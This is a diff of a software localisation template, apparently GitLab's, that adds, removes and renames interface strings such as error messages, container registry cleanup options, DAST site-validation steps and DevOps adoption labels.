@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
